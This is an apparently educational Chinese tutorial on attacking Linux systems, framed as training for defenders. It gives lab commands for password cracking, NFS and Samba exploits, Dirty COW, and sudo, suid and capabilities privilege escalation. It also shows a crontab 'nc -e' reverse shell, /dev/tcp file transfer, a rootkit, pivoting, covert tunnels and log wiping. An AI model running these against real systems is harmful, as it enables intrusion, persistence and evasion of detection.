亚洲视频二区_亚洲欧洲日本天天堂在线观看_日韩一区二区在线观看_中文字幕不卡一区

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.430618.com 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

針對(duì)linux系統(tǒng)的一些攻擊

一、前言

本系列文檔包括三個(gè)部分,分別是《針對(duì)Linux系統(tǒng)的攻擊》、《Linux系統(tǒng)安全加固》和《Linux系統(tǒng)入侵排查》。編寫(xiě)這些文檔的目的,是從攻和防的角度分別對(duì)Linux系統(tǒng)相關(guān)的安全技術(shù)進(jìn)行介紹,使初級(jí)水平的網(wǎng)絡(luò)安全從業(yè)者對(duì)Linux操作系統(tǒng)的脆弱性檢查、安全加固、應(yīng)急響應(yīng)等安全服務(wù)工作產(chǎn)生更清晰的認(rèn)識(shí)。

 

本文是系列文檔的第一部分,介紹針對(duì)Linux系統(tǒng)的攻擊方法。正所謂“未知攻,焉知防”,要掌握Linux系統(tǒng)的安全防護(hù)技術(shù),必須了解基本的攻擊技術(shù),知道黑客在攻擊的時(shí)候會(huì)做哪些事情,才好有針對(duì)性地進(jìn)行防御。

 

二、針對(duì)Linux系統(tǒng)進(jìn)行攻擊

本文所涉及到的針對(duì)Linux系統(tǒng)的攻擊方式包括以下這些:

  • 暴力破解
  • 服務(wù)漏洞
  • 權(quán)限提升
  • 文件傳輸
  • 木馬后門(mén)
  • rootkit
  • 端口轉(zhuǎn)發(fā)和socks代理
  • 隱蔽信道
  • 物理攻擊
  • 痕跡清理

下面分別進(jìn)行介紹。

 

(一)暴力破解

暴力破解在這里主要是針對(duì)Linux系統(tǒng)的賬號(hào)和口令進(jìn)行離線攻擊或在線攻擊。

所謂的離線攻擊是指攻擊者拿到了口令文件,也就是/etc/passwd和/etc/shadow文件,在攻擊者本地進(jìn)行破解。而在線攻擊是指攻擊者遠(yuǎn)程對(duì)Linux系統(tǒng)的服務(wù)如ssh、telnet等進(jìn)行口令破解,不斷地嘗試登錄,根據(jù)服務(wù)器返回的信息來(lái)判斷正在嘗試的口令是否正確。

 

1. 離線攻擊

離線攻擊所使用的工具有很多,最常用的有兩個(gè),一個(gè)是John the ripper,另一個(gè)是hashcat。這兩個(gè)工具都在kali linux的軟件安裝源里面,所以都可以在線安裝。另外Linux系統(tǒng)管理員也可以使用john the ripper在對(duì)Linux系統(tǒng)進(jìn)行脆弱性檢查的時(shí)候確定自己的系統(tǒng)中是否存在弱口令。

 

例子:使用John The Ripper對(duì)Ubuntu 1604系統(tǒng)的口令文件進(jìn)行字典攻擊

//攻擊者在本地安裝john the ripper

apt install john

//下載目標(biāo)系統(tǒng)的/etc/passwd和/etc/shadow文件到本地 ,使用unshadow合并這兩個(gè)文件。unshadow是john軟件包中的一個(gè)程序

/usr/sbin/unshadow passwd shadow > /tmp/crack.password.db

//使用默認(rèn)的口令字典開(kāi)始破解(/usr/share/john/password.lst)

john /tmp/crack.password.db

Linux系統(tǒng)安全攻防技術(shù)

 

可以看到,得到了root和user1用戶的口令。

//也可以指定其它字典文件進(jìn)行破解

john /tmp/crack.password.db --wordlist /word/list/file

 

2. 在線攻擊

Linux平臺(tái)用于遠(yuǎn)程破解口令的軟件比較常用的有hydra和nmap。

 

例子:使用hydra對(duì)本地系統(tǒng)進(jìn)行遠(yuǎn)程口令破解

//使用hydra,通過(guò)telnet服務(wù)對(duì)本地的user1用戶的口令進(jìn)行破解,指定使用john的口令字典文件

hydra -l user1 -P /usr/share/john/password.lst 127.0.0.1 telnet

-l //指定用戶名,若不知道用戶名澤需要指定用戶名字典

-P //指定口令字典文件

127.0.0.1 //指定目標(biāo)IP地址

telnet //指定目標(biāo)服務(wù)

Linux系統(tǒng)安全攻防技術(shù)

 

破解成功,得到了user1用戶的口令:123456。同樣,root用戶的口令也可以破解出來(lái),這里不再贅述。

 

(二)攻擊服務(wù)漏洞

Linux系統(tǒng)中可能部署了各種服務(wù),如果軟件存在漏洞或者服務(wù)存在錯(cuò)誤的配置,則很可能被攻擊者利用。例如NFS服務(wù)和samba服務(wù):

NFS:

如果導(dǎo)出資源的范圍過(guò)大并且權(quán)限過(guò)高,則存在風(fēng)險(xiǎn)。例如導(dǎo)出了根文件系統(tǒng)并允許讀寫(xiě),則攻擊者可將ssh公鑰寫(xiě)入ssh授權(quán)文件,行程ssh證書(shū)后門(mén),實(shí)現(xiàn)非授權(quán)訪問(wèn)。

 

samba:

版本:Samba3.x,共享目錄可寫(xiě)并允許wide links,則攻擊者可以訪問(wèn)目標(biāo)主機(jī)的根文件系統(tǒng)并得到shell。

 

1. 攻擊NFS服務(wù)的漏洞

例子,攻擊者將自己的公鑰文件寫(xiě)入目標(biāo)Linux系統(tǒng)(metasploitable 2)的NFS共享

//攻擊者在本地創(chuàng)建臨時(shí)目錄

mkdir /tmp/r00t

//在目標(biāo)服務(wù)器的NFS服務(wù)存在錯(cuò)誤配置的情況下,攻擊者將該服務(wù)器通過(guò)NFS服務(wù)共享出來(lái)的根目錄掛載到剛創(chuàng)建的臨時(shí)目錄

mount -o nolock -t nfs remote_ip:/ /tmp/r00t

//攻擊則會(huì)將自己的公鑰文件通過(guò)NFS共享寫(xiě)入到目標(biāo)主機(jī)的ssh授權(quán)文件中,這樣就形成了ssh證書(shū)后門(mén)

cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys

//之后攻擊者即可通過(guò)證書(shū)訪問(wèn)目標(biāo)系統(tǒng)的ssh服務(wù)

ssh root@remote_ip

 

2. 攻擊Samba服務(wù)的漏洞

例如在metapsloitable2靶機(jī)中,samba服務(wù)存在漏洞,導(dǎo)致攻擊者可以得到靶機(jī)的shell。

use exploit/multi/samba/usermap_script

set rhost remote_ip

exploit

Linux系統(tǒng)安全攻防技術(shù)

 

得到shell。

 

(三)權(quán)限提升

權(quán)限提升的方法很多,主要介紹四種方法:內(nèi)核漏洞提權(quán)、sudo提權(quán)、suid提權(quán)和capabilities提權(quán)。提權(quán)的主要目的是實(shí)現(xiàn)對(duì)目標(biāo)系統(tǒng)更大程度的控制,提權(quán)所使用的技術(shù)也可以作為后門(mén)來(lái)使用。

 

1. 內(nèi)核漏洞提權(quán)

通過(guò)內(nèi)核漏洞進(jìn)行提權(quán)的方法很多,這里介紹臟牛(dirty-cow)漏洞提權(quán)。

例子:Linux系統(tǒng)(metasploitable 2)通過(guò)臟牛漏洞提權(quán)

(1) 獲取源代碼

//登錄目標(biāo)系統(tǒng):

ssh user1@target_ip

EXP下載地址:https://github.com/FireFart/dirtycow

 

(2) 提權(quán)

//在目標(biāo)系統(tǒng)中編譯源代碼,生成可執(zhí)行文件,名為dirty

gcc -pthread dirty.c -o dirty -lcrypt

//運(yùn)行dirty程序開(kāi)始提權(quán)

./dirty abcd1234 //指定口令

Linux系統(tǒng)安全攻防技術(shù)

 

提權(quán)的準(zhǔn)備已經(jīng)完成了,可以看到/etc/passwd文件已經(jīng)變成了二進(jìn)制文件。接下來(lái)就可以切換到root身份了。

su - firefart //切換到firefart用戶,輸入前面設(shè)置的口令

Linux系統(tǒng)安全攻防技術(shù)

 

從圖中可以看到,用戶的uid為0,提權(quán)成功了。

 

2. sudo提權(quán)

推薦閱讀:《centos 7系統(tǒng)配置sudo策略(附sudo提權(quán)演示)》

https://www.freebuf.com/articles/system/243526.html

該文章介紹了sudo提權(quán)的方法。

 

例子:Linux系統(tǒng)(metasploitable 2)通過(guò)sudo提升權(quán)限

//查看當(dāng)前用戶允許通過(guò)sudo執(zhí)行的命令

sudo -l

Linux系統(tǒng)安全攻防技術(shù)

 

從sudo -l的返回結(jié)果來(lái)看,系統(tǒng)允許以sudo的方式執(zhí)行awk、less、vim這三個(gè)命令。

 

//sudo awk提權(quán)

sudo awk 'BEGIN {system("/bin/bash")}'

Linux系統(tǒng)安全攻防技術(shù)

 

sudo awk提權(quán)成功,得到了root shell。

 

//sudo less提權(quán)

sudo less /etc/lsb-release

Linux系統(tǒng)安全攻防技術(shù)

 

在less的底部輸入!/bin/bash,可以看到提權(quán)成功,得到了root shell。

 

//sudo vim提權(quán)

sudo vim -c '!bash'

Linux系統(tǒng)安全攻防技術(shù)

 

提權(quán)成功,得到了root shell。

 

3. suid提權(quán)

推薦閱讀:《CentOS 7系統(tǒng)利用suid提權(quán)獲取Root Shell》

https://www.freebuf.com/articles/system/244627.html

該文章較詳細(xì)地介紹了suid提權(quán)獲取root shell的方法。

 

例子:Linux系統(tǒng)(metasploitable 2)通過(guò)suid程序提升權(quán)限

//使用find命令在系統(tǒng)中查找具有suid標(biāo)志位的文件

find / -perm -u=s -type f 2>/dev/null

假設(shè)攻擊者找到了find、nmap、more這三個(gè)可執(zhí)行文件設(shè)置了suid,那么下面嘗試進(jìn)行提權(quán)。

 

//使用帶有suid的find命令進(jìn)行提權(quán)

find . -exec /bin/sh -p ; -quit

Linux系統(tǒng)安全攻防技術(shù)

 

使用find命令進(jìn)行提權(quán)。查看看到,find命令通過(guò)exec參數(shù)創(chuàng)建了一個(gè)子進(jìn)程,這個(gè)子進(jìn)程的euid為0,因此這個(gè)子進(jìn)程是一個(gè)root shell。

 

//使用帶有suid的nmap命令進(jìn)行提權(quán)

echo "os.execute('/bin/bash -p')" > /tmp/shell.nse

nmap --script=/tmp/shell.nse 127.0.0.1

Linux系統(tǒng)安全攻防技術(shù)

 

得到了root shell。這個(gè)root shell有個(gè)特點(diǎn),就是看不到輸入的命令,只能看到執(zhí)行的結(jié)果。

 

//使用帶有suid的more命令進(jìn)行提權(quán)

more /etc/profile

//在底行輸入

!/bin/sh -p

Linux系統(tǒng)安全攻防技術(shù)

 

可以看到,也得到了root shell。使用more打開(kāi)的必須是一個(gè)在當(dāng)前屏幕中無(wú)法完全顯示的文件,這樣才會(huì)出現(xiàn)底行,提示顯示的百分比,攻擊者才能輸入!/bin/sh -p

 

4. capabilities提權(quán)

推薦閱讀:Linux系統(tǒng)利用可執(zhí)行文件的Capabilities實(shí)現(xiàn)權(quán)限提升

https://www.freebuf.com/articles/system/251182.html

 

capabilities的作用是提供一種與suid相比更細(xì)粒度的控制,在執(zhí)行特權(quán)操作的時(shí)候,如果進(jìn)程或線程的euid不是root,那么系統(tǒng)就檢查該線程是否具有該特權(quán)操作對(duì)應(yīng)的capability,如果具有,才能執(zhí)行特權(quán)操作。就像是把suid分成了很多份,需要的時(shí)候給你其中一份,其它份不給。

 

例如,在安裝wireshark軟件后,默認(rèn)情況下普通用戶無(wú)法對(duì)網(wǎng)卡實(shí)施抓包操作。這是因?yàn)槠胀ㄓ脩舨痪邆渥グ僮鞯臋?quán)限。

wireshark給出的方法是,將當(dāng)前用戶加入wireshark組:

Linux系統(tǒng)安全攻防技術(shù)

 

但是也可以為wireshark的抓包程序/usr/bin/dumpcap授予用于抓包操作的capabilities。授予權(quán)限之后之后普通用戶就可以進(jìn)行抓包操作了:

setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

Linux系統(tǒng)安全攻防技術(shù)

 

 

例子:Linux系統(tǒng)(CentOS 7)通過(guò)帶有capabilities的程序提權(quán)

//查找設(shè)置了capabilities的程序

getcap -r / 2>/dev/null

Linux系統(tǒng)安全攻防技術(shù)

 

首先要在系統(tǒng)中查找設(shè)置了capabilities的程序。其中設(shè)置了cat_setuid的capability的程序存在提權(quán)的可能性。常見(jiàn)的可以通過(guò)cap_setuid的capability提權(quán)的程序包括gdb、perl、Python、php、ruby、rvim、vim、tar等。

 

//通過(guò)gdb提權(quán)

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Linux系統(tǒng)安全攻防技術(shù)

 

提權(quán)成功,得到了root shell。

 

(四)文件傳輸

1. 將文件上傳到目標(biāo)Linux

例子,使用下面的命令將文件從遠(yuǎn)程主機(jī)上傳到目標(biāo)Linux服務(wù)器:

 

第一步,遠(yuǎn)程主機(jī)創(chuàng)建測(cè)試文件并監(jiān)聽(tīng)端口

echo "get by bash." > bash.sent

nc -l -p 12345 < bash.sent

Linux系統(tǒng)安全攻防技術(shù)

 

 

第二步,目標(biāo)Linux服務(wù)器使用bash連接遠(yuǎn)程主機(jī)并獲取文件

bash -c 'cat < /dev/tcp/192.168.43.237/12345 > bash.get'

Linux系統(tǒng)安全攻防技術(shù)

 

文件傳輸成功。

 

2. 從目標(biāo)Linux系統(tǒng)下載文件

例子,使用下面的命令將目標(biāo)Linux系統(tǒng)的文件下載到遠(yuǎn)程主機(jī):

 

第一步,遠(yuǎn)程主機(jī)監(jiān)聽(tīng)12345端口

nc -l -p 12345 > bash.get

 

第二步,Linux服務(wù)器創(chuàng)建測(cè)試文件并使用bash將文件傳輸?shù)竭h(yuǎn)程主機(jī)

echo "sent by bash." > bash.sent

bash -c 'cat bash.sent > /dev/tcp/192.168.43.237/12345'

Linux系統(tǒng)安全攻防技術(shù)

 

 

第三步,遠(yuǎn)程主機(jī)查看接收到的文件

Linux系統(tǒng)安全攻防技術(shù)

 

文件傳輸成功。

 

(五)木馬后門(mén)

后門(mén)的種類很多,例如下面這些:

  • uid為0的賬戶
  • crontab后門(mén)
  • ssh證書(shū)后門(mén)
  • ssh服務(wù)后門(mén)
  • ssh客戶端后門(mén)
  • systemd服務(wù)后門(mén)

推薦閱讀:《Linux系統(tǒng)后門(mén)初步研究》

https://www.freebuf.com/articles/system/259494.html

該文章介紹了一些Linux系統(tǒng)后門(mén)的創(chuàng)建方法。

在本文檔中,分別對(duì)uid為0的賬戶、crontab后門(mén)和ssh證書(shū)后門(mén)進(jìn)行介紹。

 

1. 創(chuàng)建uid為0的后門(mén)賬戶

//創(chuàng)建用戶賬戶,指定賬戶的uid為0

useradd -o -u 0 hack1

//設(shè)置口令

passwd hack1

Linux系統(tǒng)安全攻防技術(shù)

 

首先在系統(tǒng)中創(chuàng)建一個(gè)后門(mén)賬戶,該賬戶的uid設(shè)置為0,也就是說(shuō),創(chuàng)建一個(gè)超級(jí)用戶。

注意,這個(gè)賬戶受到ssh服務(wù)配置的影響。如果sshd_config文件中設(shè)置PermitRootLogin為no,那么,這個(gè)hack1用戶是無(wú)法遠(yuǎn)程登錄的,雖然他的用戶名不是root。

 

2. 創(chuàng)建crontab后門(mén)

//在被攻擊機(jī)器上,以root身份編輯crontab

crontab -e -u root

*/1 * * * * /bin/nc -e /bin/bash 192.168.242.1 5555

保存退出

 

//攻擊者監(jiān)聽(tīng)本地端口,得到反彈shell

nc -l -p 5555

Linux系統(tǒng)安全攻防技術(shù)

 

3. 創(chuàng)建ssh證書(shū)后門(mén)

//攻擊者創(chuàng)建公私密鑰對(duì)

ssh-keygen -t rsa

//攻擊者將公鑰復(fù)制到目標(biāo)主機(jī)

ssh-copy-id -i ~/.ssh/id_rsa.pub [email protected]

//攻擊者使用證書(shū)登錄目標(biāo)主機(jī)

ssh [email protected]

Linux系統(tǒng)安全攻防技術(shù)

 

輸入密鑰短語(yǔ)即可登錄。

這樣即使目標(biāo)主機(jī)更改了root口令,只要證書(shū)還在目標(biāo)主機(jī)上,攻擊者就可以遠(yuǎn)程登錄。

 

(六)rootkit

1. rootkit是什么?

根據(jù)百度百科的解釋,rootkit是一種特殊的惡意軟件,它的功能是在安裝目標(biāo)上隱藏自身及指定的文件、進(jìn)程和網(wǎng)絡(luò)鏈接等信息,比較多見(jiàn)到的是Rootkit和木馬、后門(mén)等其他惡意程序結(jié)合使用。也就是說(shuō),用rootkit去隱藏木馬所使用的文件、進(jìn)程、網(wǎng)絡(luò)連接等。

 

2. 安裝rootkit

下面我們舉個(gè)例子,在CentOS 6.5系統(tǒng)中使用LKM(loadable kernel module)后門(mén)adore-ng提升權(quán)限、隱藏進(jìn)程和文件。

首先將adore-ng下載到目標(biāo)主機(jī),解壓縮,進(jìn)入解壓縮后的目錄

//編譯

make -j 4

//插入內(nèi)核模塊。

insmod adore-ng.ko

//將rootkit程序復(fù)制到臨時(shí)目錄

cp -r /home/user1/adore-ng-master /tmp/

//修改權(quán)限

chmod -R 777 /tmp/adore-ng-master

//進(jìn)入目錄

cd /tmp/adore-ng-master

//查看幫助

./ava

Linux系統(tǒng)安全攻防技術(shù)

 

進(jìn)入/tmp下的adore-ng目錄,運(yùn)行目錄中的ava,這是一個(gè)可執(zhí)行程序,在不加任何參數(shù)的情況下顯示幫助信息。從幫助信息中可以看到,這個(gè)軟件可以做以下的事情:

隱藏文件、提權(quán)為root、隱藏進(jìn)程(make PID invisible)。

 

3. 使用rootkit進(jìn)行提權(quán)

/tmp/adore-ng-master/ava r cat /etc/shadow | grep root

Linux系統(tǒng)安全攻防技術(shù)

 

user1用戶正常情況下無(wú)法查看shadow文件的內(nèi)容,但是使用adore-ng的ava,就可以實(shí)現(xiàn)提權(quán),可以查看shadow文件的內(nèi)容。如果執(zhí)行的是/bin/bash,那么可以得到一個(gè)root shell。

 

4. 使用rootkit隱藏進(jìn)程

cd /opt/hack

//查看需要被隱藏的那個(gè)進(jìn)程的源碼。實(shí)際上這是一個(gè)shell腳本,它的功能是通過(guò)無(wú)限循環(huán),將This is the virus寫(xiě)入文件file.txt。

cat hack.sh

Linux系統(tǒng)安全攻防技術(shù)

 

//以root身份在后臺(tái)運(yùn)行hask.sh

hack.sh &

Linux系統(tǒng)安全攻防技術(shù)

 

hack.sh腳本在后臺(tái)運(yùn)行后,其PID為2734。可以在ps命令的結(jié)果中看到這個(gè)進(jìn)程。

 

//應(yīng)用rootkit的功能,隱藏PID為2734的進(jìn)程

/tmp/adore-ng-master/ava i 2734

Linux系統(tǒng)安全攻防技術(shù)

 

進(jìn)程隱藏成功,看不到2734進(jìn)程了,也查不到名稱中含有hack.sh的進(jìn)程。該進(jìn)程在ps命令中被隱藏。

 

5. 使用rootkit隱藏文件

//現(xiàn)在我們使用h參數(shù),來(lái)隱藏hack.sh所生成的file.txt這個(gè)文件。

/tmp/adore-ng-master/ava h file.txt

Linux系統(tǒng)安全攻防技術(shù)

 

可以看到,使用ls命令,即使加上用于顯示隱藏文件的-a參數(shù),也看不到file.txt了。

 

(七)轉(zhuǎn)發(fā)和代理

攻擊者入侵linux系統(tǒng)后,可通過(guò)修改路由表、設(shè)置iptables、部署端口轉(zhuǎn)發(fā)和socks代理軟件等方式,將被入侵系統(tǒng)作為跳板,進(jìn)一步入侵目標(biāo)系統(tǒng)所在內(nèi)網(wǎng)的其它機(jī)器。

 

1. 端口轉(zhuǎn)發(fā)

例子,通過(guò)設(shè)置iptables,將目標(biāo)Linux系統(tǒng)作為跳板機(jī)訪問(wèn)內(nèi)網(wǎng)機(jī)器(metasploitable 2)

(1) 跳板機(jī)操作

//被攻擊系統(tǒng)啟用ip轉(zhuǎn)發(fā)

echo 1 > /proc/sys/net/ipv4/ip_forward

//被攻擊系統(tǒng)創(chuàng)建iptables轉(zhuǎn)發(fā)規(guī)則,將去往192.168.1.8的2222端口的數(shù)據(jù)包轉(zhuǎn)發(fā)到192.168.1.7的22端口

iptables -t nat -A PREROUTING -p tcp -d 192.168.1.8 --dport 2222 -j DNAT --to 192.168.1.7:22

//被攻擊系統(tǒng)啟用地址轉(zhuǎn)換

iptables -t nat -A POSTROUTING -j MASQUERADE

 

(2) 攻擊者本地操作

//攻擊者訪問(wèn)被攻擊系統(tǒng)(跳板機(jī))的2222端口

ssh -p 2222 [email protected]

Linux系統(tǒng)安全攻防技術(shù)

 

可以訪問(wèn)到內(nèi)網(wǎng)機(jī)metasploitable 2的ssh服務(wù)。說(shuō)明端口轉(zhuǎn)發(fā)成功。

 

2. socks代理

推薦閱讀:《內(nèi)網(wǎng)滲透:使用ew實(shí)現(xiàn)socks代理》

https://www.freebuf.com/sectool/234254.html

 

例子,將earthworm作為socks代理使攻擊者訪問(wèn)內(nèi)網(wǎng)計(jì)算機(jī)

場(chǎng)景描述:攻擊者(192.168.1.7)位于外網(wǎng),無(wú)法訪問(wèn)目標(biāo)網(wǎng)絡(luò)內(nèi)部的主機(jī)。但是攻擊者可以訪問(wèn)目標(biāo)網(wǎng)絡(luò)中對(duì)外暴露的服務(wù)器(192.168.1.8),這臺(tái)服務(wù)器擁有內(nèi)網(wǎng)IP地址(192.168.56.113),可以訪問(wèn)內(nèi)網(wǎng)機(jī)器。

攻擊鏈路:攻擊者以服務(wù)器(192.168.1.8)為跳板,攻擊內(nèi)網(wǎng)機(jī)器(192.168.56.101)。

攻擊方法如下:

(1) 跳板機(jī)操作

//攻擊者以某種手段控制了被攻擊系統(tǒng)后,將ew_for_linux傳到被攻擊系統(tǒng),并將文件改名。

mv ew_for_linux ew

//在8888端口上開(kāi)啟socks代理,ssocksd提供正向代理功能

./ew -s ssocksd -l 8888

Linux系統(tǒng)安全攻防技術(shù)

 

ew開(kāi)始監(jiān)聽(tīng)端口了。此時(shí)被攻擊系統(tǒng)已成為跳板機(jī)。可以看到截圖中當(dāng)前用戶是root,實(shí)際上監(jiān)聽(tīng)1024以上的端口無(wú)需root權(quán)限,普通用戶即可。攻擊者連接到跳板機(jī)的8888端口之后,跳板機(jī)根據(jù)本機(jī)的路由表配置,將訪問(wèn)者的數(shù)據(jù)包從適當(dāng)?shù)木W(wǎng)口轉(zhuǎn)發(fā)出去。轉(zhuǎn)發(fā)之后,包的源地址會(huì)被修改為這個(gè)出口的IP地址。

注意,在linux跳板機(jī)上轉(zhuǎn)發(fā)數(shù)據(jù)包,內(nèi)核的IP轉(zhuǎn)發(fā)功能是需要開(kāi)啟的。

 

(2) 攻擊者本地運(yùn)行全局代理

以proxychains為例,說(shuō)明全局代理的用法:

apt install proxychains //安裝proxychains

vi /etc/proxychains.conf //配置proxychains

將最后一行的socks4注釋掉,添加下面的行,端口為跳板機(jī)上的ew監(jiān)聽(tīng)的8888:

socks5 192.168.1.8 8888

保存退出

proxychains telnet 192.168.56.101 //通過(guò)socks代理訪問(wèn)目標(biāo)機(jī)

Linux系統(tǒng)安全攻防技術(shù)

 

登錄成功。也就是說(shuō),只要能訪問(wèn)到跳板機(jī)上ew代理程序的監(jiān)聽(tīng)端口,就可以訪問(wèn)對(duì)跳板機(jī)來(lái)說(shuō)路由可達(dá)的主機(jī)。

 

(3) 驗(yàn)證

在目標(biāo)機(jī)抓包,可以看到訪問(wèn)者的地址是跳板機(jī)的地址(192.168.56.113),也就是說(shuō),socks代理的工作是正常的。

Linux系統(tǒng)安全攻防技術(shù)

 

 

(八)隱蔽信道

網(wǎng)絡(luò)協(xié)議信息隱藏(協(xié)議隱寫(xiě))是一種利用數(shù)據(jù)包作為掩護(hù)載體,將秘密信息隱匿在網(wǎng)絡(luò)協(xié)議的數(shù)據(jù)包之中的信息隱藏技術(shù),它可以通過(guò)網(wǎng)絡(luò)協(xié)議數(shù)據(jù)包中的保留、可選、未定義等字段和數(shù)據(jù)包的順序、數(shù)量、到達(dá)時(shí)間、特定時(shí)間流量以及其它可被利用的特征,在網(wǎng)絡(luò)中不同的主機(jī)之間建立隱蔽信道。

 

下面舉個(gè)例子,使用httptunnel建立基于http協(xié)議的隱蔽信道。

1. 服務(wù)端啟動(dòng)監(jiān)聽(tīng)

軟件分為服務(wù)端(hts)和客戶端(htc)兩部分,分別進(jìn)行如下的操作以實(shí)現(xiàn)隱蔽隧道:

//啟動(dòng)ssh服務(wù)

systemctl start ssh

//服務(wù)端程序hts監(jiān)聽(tīng)本機(jī)的80端口,將接收到的數(shù)據(jù)轉(zhuǎn)發(fā)給監(jiān)聽(tīng)22端口的程序

hts --forward-port localhost:22 80

 

2. 客戶端建立連接

//客戶端將發(fā)給本地900端口的數(shù)據(jù)包轉(zhuǎn)發(fā)到服務(wù)端(10.42.0.1)的80端口

htc --forward-port 900 10.42.0.1:80

//客戶端使用ssh程序訪問(wèn)本地的900端口

ssh [email protected] -p 900

之后可以成功連接10.42.0.1的ssh服務(wù)

 

3. 驗(yàn)證

//在客戶端ssh程序中執(zhí)行命令,之后在服務(wù)器端抓包

tcpdump -i 網(wǎng)絡(luò)接口

Linux系統(tǒng)安全攻防技術(shù)

 

只抓到了http協(xié)議包,沒(méi)有抓到ssh協(xié)議的任何數(shù)據(jù),說(shuō)明ssh協(xié)議數(shù)據(jù)被成功封裝到了http包中,隱蔽隧道建立成功。

 

(九)物理攻擊

例如在CentOS 7系統(tǒng)中,如果能夠以物理方式訪問(wèn)服務(wù)器,則可以通過(guò)下面的方法獲得root權(quán)限:

//物理方式關(guān)閉服務(wù)器,之后打開(kāi)電源,進(jìn)入內(nèi)核選擇界面:

Linux系統(tǒng)安全攻防技術(shù)

 

 

//按e鍵,進(jìn)入編輯模式。

在kernel引導(dǎo)行所在參數(shù)行尾添加以下內(nèi)容init=/bin/sh(注意空格):

Linux系統(tǒng)安全攻防技術(shù)

 

修改成:

linux16 /vmlinuz-3.10.0-327.el7.x86_64 root=/dev/mApper/centos-root ro

crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=

en_US.UTF-8 init=/bin/sh

 

//按下ctrl-x,進(jìn)入單用戶模式:

Linux系統(tǒng)安全攻防技術(shù)

 

 

//掛載根分區(qū)為可讀寫(xiě)模式。掛載后即可訪問(wèn)該系統(tǒng)中的資源了

mount -o remount,rw /

 

//如果想以多用戶模式進(jìn)入操作系統(tǒng),可修改root口令

passwd 用戶名

或者創(chuàng)建一個(gè)uid為0的賬戶并設(shè)置口令

 

//重啟服務(wù)器,輸入帳號(hào)口令后進(jìn)入系統(tǒng)。

exec /sbin/reboot

 

(十)痕跡清理

1. 清除命令歷史

//清空用戶的命令歷史文件

echo > ~user1/.bash_history

//清空內(nèi)存中的歷史列表

history -c

//保留前150行

sed -i '150,$d' .bash_history

 

2. 刪除訪問(wèn)日志

//清空ssh登錄成功和失敗的日志

echo > /var/log/secure

 

//清除含有自己IP地址的日志

sed -i '/192.168.242.1/d' /var/log/secure

 

3. 修改文件時(shí)間

//修改創(chuàng)建時(shí)間和訪問(wèn)時(shí)間

touch -d "2019-01-01 08:10:30" /path/to/malware

 

//復(fù)制正常文件的時(shí)間屬性給攻擊者部署的惡意文件

touch -r /etc/yum.conf /path/to/malware

 

4. 徹底刪除文件

(1) wipe

wipe -rfi private/*

-r:遞歸刪除,-f:強(qiáng)制刪除并禁用確認(rèn)查詢,-i:顯示擦除進(jìn)度

 

(2) shred

find ./dir-name -type f -exec shred -zvu -n 3 {} ;

-z:用0覆蓋,-v:顯示操作進(jìn)度,-u:覆蓋后截?cái)辔募h除

-n:指定覆蓋文件內(nèi)容的次數(shù),默認(rèn)3次

 

說(shuō)明

Linux系統(tǒng)中使用rm命令刪除的只是文件的硬鏈接,文件的內(nèi)容還存放在文件系統(tǒng)中,使用數(shù)據(jù)恢復(fù)軟件就可以將文件恢復(fù)出來(lái)。攻擊者需要使用特定的安全刪除軟件來(lái)徹底地刪除文件。這些安全刪除軟件用0或者隨機(jī)數(shù)字反復(fù)多次地覆蓋被刪除文件所占用的磁盤(pán)區(qū)域,從而使該文件無(wú)法被恢復(fù)。

 

三、總結(jié)

本文簡(jiǎn)單介紹了針對(duì)Linux系統(tǒng)的攻擊方法,在下一篇文章中,將介紹防御這些攻擊方法而采取的安全加固

分享到:
標(biāo)簽:系統(tǒng)安全
用戶無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定